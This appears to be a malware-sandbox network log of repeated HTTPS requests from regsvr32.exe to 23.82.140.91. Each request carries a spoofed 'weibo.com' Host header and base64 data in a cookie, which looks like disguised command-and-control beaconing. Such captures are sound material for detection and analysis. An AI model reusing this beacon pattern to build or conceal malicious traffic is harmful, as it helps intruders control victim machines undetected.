2022-02-08 23:09:28 UTC 1304 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:28 UTC 1306 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:28 UTC 1306 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 192.168.2.6 49966 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:28 UTC 1305 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:28 UTC 1308 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:28 UTC 1308 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.2.6 49967 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:29 UTC 1309 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:29 UTC 1310 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:29 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:29 UTC 1310 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 192.168.2.6 49968 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:31 UTC 1312 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:32 UTC 1313 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:32 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:32 UTC 1313 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.6 49773 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:22 UTC 1042 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:22 UTC 1044 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:22 UTC 1045 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 192.168.2.6 49969 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:33 UTC 1314 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:33 UTC 1315 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:33 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:33 UTC 1315 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 192.168.2.6 49970 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:35 UTC 1317 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:35 UTC 1320 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:35 UTC 1320 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.2.6 49971 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:35 UTC 1318 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:35 UTC 1318 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:35 UTC 1318 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 192.168.2.6 49972 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:36 UTC 1322 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:37 UTC 1323 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:36 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:37 UTC 1323 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.2.6 49973 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:37 UTC 1325 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:37 UTC 1325 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:37 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:37 UTC 1325 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

